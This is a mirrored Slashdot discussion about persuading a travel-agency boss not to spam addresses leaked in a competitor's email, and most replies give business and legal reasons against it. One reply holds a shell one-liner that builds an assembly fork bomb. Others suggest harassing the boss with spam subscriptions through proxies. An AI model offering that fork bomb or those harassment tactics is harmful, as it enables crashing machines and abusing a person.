Slashdot Mirror
How To Convince My Boss Not To Spam?
An anonymous reader writes "The small travel agent that I work for recently received an email from one of our competitors with several thousand of their potential customers in the 'To:' and 'Cc:' fields. My boss now wants to use these addresses to send unsolicited advertisements. I would like to convince him not to do this, as I believe that this practice is morally wrong and legally dubious. However, morals don't go very far in the business world, so I'm asking Slashdot: what business-oriented arguments can I use to dissuade my boss from spamming?"
I reckon you've got a few options:
Ok, so you're dealing with a sales-focussed person here, the only one likely to carry any weight is going to be last one and even then, you may be onto a losing streak. Assuming this person controls your pay packet, you're either going to have to put up a token resistance and then keep your mouth shut; or perhaps if you have the option, consider whether you want to be working for someone like that...
sad, but true.
Explain that sending spam might put your email server on the Spamhaus blacklist, OR pissing of your provider, so you cannot send email again to existing clients.
Simply tell him that, usually, spam is filtered and deleted automatically. Once he sent a sufficiently large amount of spam, the filter will filter away the legitimate e-mails too.
Get his home email address
Enter it here (don't visit from work, do it from a web cafe and behind 7 proxies)
http://www.spamyourenemies.com/
After a while he'll go off the idea. You might want to recommend Thunderbird to him.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
...then it's up to your boss. If he won't listen and you REALLY don't like it, start looking for another job. However make sure it's important enough to give your job up over. If morals are important to you I think you'll find that no matter what job you do there are going to be aspects of it you aren't comfortable with. At the end of the day you have to be sure you can live with yourself.
These posts express my own personal views, not those of my employer
Subscribe him to some spamming sites. And shut down his spam filter. Spammers typically have small dicks, so maybe he could use some "medicine"
Extreme Programming - Redundant Array of Inexpensive Developers
Here's some of the stuff that's likely to happen to your company if it sends those messages:
* Your mail server will be added to blacklists. Legitimate messages you send later may disappear with no indication that they have done so, causing endless frustration and possibly lost money.
* Complaints may reach your web site's hosting provider, who may take it offline. Seriously: this happened to one of my clients once. This does happen.
* Some recipients are likely to be annoyed and may decide to never do business with your company. The long-term costs of this could be significant.
* Depending on where you're based, this could be illegal under either protection of privacy laws (e.g. the UK's Data Protection Act) or anti-spam laws (e.g. several state laws in the U.S.). Your company may receive a hefty fine because of it.
Send a notice to all the email addresses with a notice informing them that your competitor has been disclosing their email address in all the emails they send out.
A small signature indicating who you are, and a link to your website would be enough to bring some of them to you.
This could be considered a public-service to those people.
It also could be a trap and some of those email address could be honey pots with the hope that you send email to them and get yourself put on the spam lists.
Stealing your competitor's customers is what capitalism is.
You need to separate your hate of spam from the realities of business:
Ethical, kind people go bankrupt.
I have my own company, and if this happened to me I would be working this gift from God HARD.
So, at the risk of blowing my karma for the next 200 years:
Either do the job or quit.
Seriously. You got hired to do his bidding, if he wants to spam let him reap the consequences, make careful note of your objections. Then also admit you're a tool.
And if you can't live with that then grow some backbone and quit. There has to be other employment for someone with your skills.
MP3 Search Engine
Does your company sell v1agra or c1alis? Or the organic forms of these, or the "legit" ones from Canada? Then its green light. Otherwise, your company will be equated with these companies.
The dreaded I for one will not do business with Amazon, Buy.com and several minor companies specifically because I have received unsolicited (aka "partner") spam from them. I disapprove of the practice and will pay a couple of dollars to avoid companies who engage in it.
I would say the best argument against spamming is that it damages the brand. Sales reps can proudly claim that they are above their competitors in that "we do not spam."
It might be a better angle to subtly reveal that your competitor has leaked private information and that your company chose to take the high road by discarding it.
Also, don't die on this cross. Companies spam, as a rule.
FairTax baby!
Tell them it would give your travel agency a bad rep. No one reads spam these days and would most likely piss them off. Which does not go good for business.
You could also say that this could be a setup on part of your competitor to see how you would act in such a morally damning area. Maybe they would base their own future actions based on this. Think about it: Who gives To and CC fields and email's a copy to their competitors. ITS A TRAP (you may not believe it but to convince your boss you may have to do that)
I've not participated in business operations involving high volume email. But even as a private individual, I've gotten in hot water before when I've sent out messages to large a number of recipients. Some of my intended (consenting) targets have reported my stuff ending up in their Spam folder. As such, you may convince your boss that it would hurt his business goals in the long run as he risk getting "black listed". Maybe even to the point that legitimate communication gets denied by filtering software that has been trained through exposure to the business's email address.
Stay sentient. Don't drink bad milk.
I'm not an expert when it comes to email marketing, but I have had some experience with it before... To my knowledge, any credible mass-mail service will send the emails so that it's addressed to a single person (per email). If they are dumb enough to expose all of their clients in the TO and CC fields, it seems like they're asking for trouble. Of course, this may not solve for the moral dilemma, but it's not like your boss is going out of his way and buying a list of email leads (which is ridiculous); they're all right there for the picking! They only argument I can think of is telling him to research the target prospects and send mail based upon that.. then it's not really unsolicited - more like cold calling. A lot of people don't take into consideration that some email *is* targeted, and it really is no different than picking up the phone and calling the customer directly, or sending them something by mail... While cold calling is becoming more and more obsolete in today's business environment, doing some research and choosing some leads isn't really all that bad - especially when your competitor is kind enough to do some of the leg work for you.
1. It's an abuse of personal data, since the owner of that data (the individual) did not opt in. In many countries (particularly the UK) this is illegal and can land you in a lot of trouble.
2. If you're a small company, your reputation is going to be worth a lot more than one or two customers who may answer your email. Doing something that's at worst illegal and and at best irritating is hardly going to help your reputation.
3. Business ethos and ethics matter. As a consumer, I often know that dealing with a small company could cost slightly more than buying from a large one with economies of scale. However, I may feel it is worth it if the service is better or if I identify positively with the company. I have broken off relations in the past with companies that marketed too aggressively. This is entirely rational behaviour and not something limited to techies who "get" spam and are over-protective of their inboxes.
Cheers,
Martin
Author of `Professional Plone Development`, available from Packt Publishing.
Hire spamming agency to spam your potential customers on behalf of your competitors. Compare your sales figures with your competitors at the end of a quarter. There you've solid proof to convince your boss.
There is very little you can do other then point out how it's illegal (if it is in your country) and or how it is morally wrong; which as it sounds isn't a problem with your employer. Since he was all ready signed up for their mailing list specifically to undermine any sales/services etc they might have to offer this is just another way for them to try taking business away from them.
Contact your ISP and ask them what their policy about sending spam which will most likely be that they do not allow it, and tell the boss that the ISP will cut service if you try it. As long as he will lose money it might keep him from going though with it.
TruePunk | Games
And is the right choice, if done smoothly. Don't mass email. Investigate each contact send a personalized note targeted at them and their business.
Use the information, just don't abuse it. Spam is quick and dirty, but a poor substitute for the elbow grease of real salesmanship.
My company has a variety of contact lists, and if any of them were to "leak", by CC etc, I'd start getting emails on addresses that *look* like real people but are in fact aliases for me.
If you boss spams like this, there exists the possibility that the other firm have taken this elementary precaution, which may be anything from seriously embarrassing to legally expensive.
Dominic Connor,Quant Headhunter
Reformulate the problem into the sexual / romantic arena. Imagine a guy who asks every single woman he meets "hey baby, nice ass, want to go back to my place?" That sort of thing reeks of desperation as well as lack of confidence, and even if used on hundreds or thousands of women the result is usually 100% failure. In the rare event of success the result is more likely to be ... a less than satisfactory arrangement (e.g. ugly woman, one night stand, STDs, etc.) Additionally, it insults and turns off a huge number of potentially otherwise interested women.
Whereas being more selective in potential romantic partners, using a more measured and sophisticated approach to communication (flirting, chatting, slowly moving to the right level of familiarity at the right time, being willing to back off when necessary, etc.), and presenting a better and more confident image tends to result in higher success rates with more desirable partners, even though it takes more effort.
The same is the case for business. With spam, at best you get some tiny percentage of customers with 0 loyalty whatsoever while building up a huge mountain of ill-will with an enormous number of potential customers. Whereas more socially sophisticated methods of communicating and treating potential customers has a higher chance of success, has a higher chance of creating more profitable and worthwhile customers, has a higher chance of creating customers who have such a positive view of your company and your services that they will tell their friends (doing your advertising and sales work for you), and even in the event of a "missed sale" will still leave the customer with a positive image of your company and product and will leave open the opportunity for that person to become a future customer if they change their mind or develop new needs.
Ask him how he deals with other people in person and make him see that the same reasons he doesn't use lame mass-spam techniques in real life are applicable online, even with strangers.
The response rate to this sort of advertising is extremely low. He'll be lucky to get a single response, thus making it not worth the time to compose an email.
Most people react badly to unsolicited emailed advertisements. It is likely that some of these people are already customers or potential customers. This will dissuade them from choosing your company in the future.
If any customers are in the EU, you may have a data protection liability. Even if you don't, at least some people will respond requesting to be removed from the mailing list, which is something that will have to be dealt with.
It's very likely to be against the terms and conditions of your ISP.
It is possible that you will be blacklisted by the recipients ISPs (unlikely if he does this once)
There may be some legal ramifications for taking advantage of an obvious mistake by the other company. Even just a baseless legal threat would take time and money to deal with.
The things you see when you don't have any mod points :-(
Anyway Absolutely spot on, a competitors mailing list is marketing golddust, you could probably get a lot of sales data without too much hassle, emails going to the same company would be a good target indicator. Google API searching with the email domain could winnow out the people with websites (
...but actually I think it's insightful. We keep getting such stupid mail, too, and I've done exactly what you suggest, with good results. ;)
Who is General Failure and why is he reading my hard disk?
point him at this:
http://www.sethgodin.com/permission/
Seth Godin is the marketing guru who advised google on how to succeed in business. he knows his stuff, and he is MASSIVELY anti spam.
Tell your boss he needs to read the guys book before he does something that could wreck his business.
DRM-free indie games for the PC and Mac: Positech Games
You should tell him to GO FOR GOLD!
Spam is proven to:
* Enlarge your penis!
* Earn you money WHILE you browse the web!
* Get YOU laid NOW!
visit http://cashforbigdickaction.biz/ for more info!
(the 1000th visitor wins a free Rolex!)
That is partially incorrect, or at least not as black and white as you make it sound.
The short version is: Lack of ethics alone is no guarantee of success, by itself. There is more than one kind of sociopath, and more than one outcome. The smart ones do end up CEOs and on the cover of magazines. The stupid ones end up bankrupt and/or in jail.
So while stealing your competitor's customers _is_ good, the real issue is how you do it.
A. Spam is a rather low probability of success business. The majority of people don't answer to it, and in fact far more just become annoyed at you and/or blacklist you. It works for spamming normal people, because, well, if 0.1% of the recipients buy something, and you spammed ten million, well, you do the maths. The same maths can work against you when you're dealing with a small number of corporate customers. If you spam 20 corporations you got from one CC, chances are you'll gain nothing, and get only the bad parts.
B. Spam works mostly on, well, dumb people. Companies have too many layers of people whose job is to prevent doing something stupid. Your spam would have to go through everyone from the mail admin whose job is to block spam (if nothing else, because the CEO wouldn't get any job done at all if he was buried alive in a billion spam messages), to procurement and controlling, to the secretary of the boss you're trying to spam. Even that boss probably isn't as dumb as you assume, if he got to be successful in business, but even he is not the only one you must get past.
But even if they were no better than the average population, that chance goes down spectacularly by sheer number of people involved. Even if you managed to craft your spam as to get a whole 1% response rate from normal people, if there are as little as 3 different people who have to approve that purchase, the chance becomes one in a million.
Companies also move slowly and don't change suppliers or providers overnight. It's not like spamming Joe Sixpack who might be drunk enough to go, "ya know, I always wanted herbal pills." A company of any size above mom-and-pop shops will even deal with you at all, doesn't do things on a drunk impulse. There'll be lots of meetings and memos shoved around before you even get a chance to make your offer. Trying to bypass that process might work, if you're some manager's cousin or drinking buddy, but don't think that just one email is anywhere near enough. An offer out of nowhere that didn't go through that approval process, will most likely be ignored completely.
C. While it may be good for business to be a sociopath, it's very bad for business to get the reputation as one. The successful sociopath is the one who always has a convincing excuse or pretext, not the one advertises, basically, "I have my own company and I'm a bigger arsehole than goatse.cx." Businesses try hard to whitewash their reputation and pose as honest, upstanding pillars of the community. Because it's good for business. PR backlashes can do a hell of a lot of harm. Daikatana for example is the most visible example of a game that was merely mediocre, but got thoroughly sunk by a hell of bad PR backlash. It works in other domains too.
Becoming known as a spammer works when you have nothing to lose. If you're a two bit crook selling pressed parsley pills as ancient herbal medicines out of your basement, well, you don't really have much to lose. It's not like you have steady long-term customers or a business depending on your image in any community, so you can't lose them. If you are a more traditional business, though, you may not want that kind of reputation. And even the two bit crooks eventually have to change names, make more fly-by-night companies, etc, to keep peddling their goods.
D. Spam gets blacklisted fast. There's a reason spammers use faked senders, backscatter, etc. Because otherwise they get blocked fast, their ISP pulls the plug, etc.
And again, companies have people whose _job_ is to make sure spam doesn't get through. They _will_
A polar bear is a cartesian bear after a coordinate transform.
> gmail's spam filtering beats Thunderbird's handily
And in this, we see an faint echo of the enormous power in the information that Google collects:
1) They have a lot more training data
2) They can make a comparative analysis to catch large batches of largely identical messages which arrive at their servers within short time periods
Man, this is so sadly true. I worked for a company for about 6 months before leaving for greener pastures. They sent mass marketing emails multiple times per month, with as many as 10,000 recipients. They were cautious to not send messages to any one recipient too often so they didn't piss off that person.
The fact is that given the quality of their messages - they weren't V1gara Ci1ais, they weren't scam attempts, and in fact they were pretty carefully targeted based on what industry vertical you were in - they actually had a pretty high response rate. For most campaigns they saw 10-15% response, and they had sales reps personally contact each of those responders (now known as leads).
The calculated lead-to-sale value for email campaigns based a floating 6-month average was around $1,600 (the software cost anywhere from $10,000 to $150,000 depending on which modules you purchased with it, and including 1 year of support maintenance - many customers actually signed on for many years, but it's not considered part of the initial sale). I don't know what the percentage was for lead-to-sale, they didn't track it that way.
So for every person who filled out a contact form from following the link in an email, they made an average of $1,600. When you're sending 10,000 emails for a single campaign, and you have a 10% response rate, each of which is worth $1,600, that campaign profited $16,000. It's hard to argue against this.
In addition, many of those contacts turn into sales later and aren't tracked as a email-to-sale because the email only enabled the relationship with the sales rep to open up, and the sales rep was able to make an independent sale months or possibly years later which wouldn't have been possible without the email sparking an interest.
The company wasn't interested in the moral implications. They weren't interested in the legality of it so long as they adhered to the bare minimum that was required to be legal. They were interested in this thing which provided 100-fold plus return on investment so long as they didn't try to wring to much out of it or otherwise abuse it.
Of course they had to honor opt-out requests, and they did. But they received fewer opt-outs for each campaign than they received leads; and often times the leads they received weren't from the person who received the email, but were actually a colleague who forwarded the message to their coworker or friend; they might actually have added more new recipients each campaign than opted out.
Slay a dragon... over lunch!
My former employer decided to start spamming even after meetings where I explained the dangers of spam, how it's unethical , etc, etc. They really wanted to do it, because they decided to listen to one person who had dollar signs in his eyes.
Long story short, I quit the job, but I had to deal with spam for about a month while I was looking for a different employer. Somehow it was my fault that we were blacklisted by most of the major ISPs and mail services. The IT director was too shortsighted to farm out the spamming to someone else.
Everything worked out great in the end, because I'm at a place now that would never spam and I'm working with bright people on some very cool projects.
So yeah, my advice is quit and tell him why you're quitting if he won't listen to your advice.
Spamming these specific email addresses is a bad move. Very bad.
Camping on quad since 1996.
Bleh, should have proof-read that, $1,600,000 profit (though sometimes minus a few thousand or tens of thousands for a purchased or rented recipient list).
I believe he meant:
'/\/\./'
weirdest thing I ever saw: scientology advertising on slashdot.
My first reaction was, "Ugh! How annoying! Who are these jerks blowing our fax paper on a stupid ad for a useless product?" --And this was before Spam existed under that name as a real feature of our reality, which to me indicates that I just have a very low tolerance for any kind of social manipulation. But here's the thing. . .
All the women in our office got into this fluster of consumerist excitement. "Hundreds of different watch styles for cheap!" The building concourse was flooded with people looking for watches, like a flea market hopped up on caffeine, and when the day was over the girls were showing off two and three watches each, swapping them like trading cards and generally having a grand old time. Even some of the guys got sucked in. And I felt like an old sourpuss sticking to principal and wondering if it was the Human Race which was stupid, or if it was me. (That office job did that to me a great deal.)
But anyway. . , the point is that with the right level of care and planning, SPAM not only works, but it works really well.
Heck, I know a couple of people who forwarded that "Bill Gates is giving a hundred bucks to everybody who forwards this email" email. It made their day! Some people actually enjoy being pandered to like consumerist bovines. They are locked into the system and being advertised at is a major feature of that system which is not only expected by desired.
So yeah. The point is that ignorant apes are sometimes happy being ignorant apes. But I still wouldn't send out 1000 emails to potential travel clients, because in the massive noise filling the channel most will ignore the spam and people like me will blacklist his company.
Oh, and in case you're wondering, I decided that neither me nor the Human Race were wrong. There's just different types of people and different levels of awareness/expectation, and that's okay! People can self-annihilate themselves through ignorance if that's their predisposition. But for some reason office buildings seem to attract that brand of human, and I will die before I allow myself to work in cubicle land ever again. My own level of ignorance needs to be worked on in a different environment, or I'll simply interrupt the process by murdering a bunch of apes with too many cheap watches.
-FL
Even if a message arrives in my mailbox, addressed to me, mentions my wife by name, and complements me on the the good behavior of my dog, If they are trying to sell me something or introduce me to something IT IS SPAM.
Your kind of spam is just harder to make, but it is still spam.
Hmmm... I hate to say it, but if slashdot ever did form a vigilante mob, the only fitting name for it would be Army of Dorkness.
I don't know the meaning of the word 'don't' - J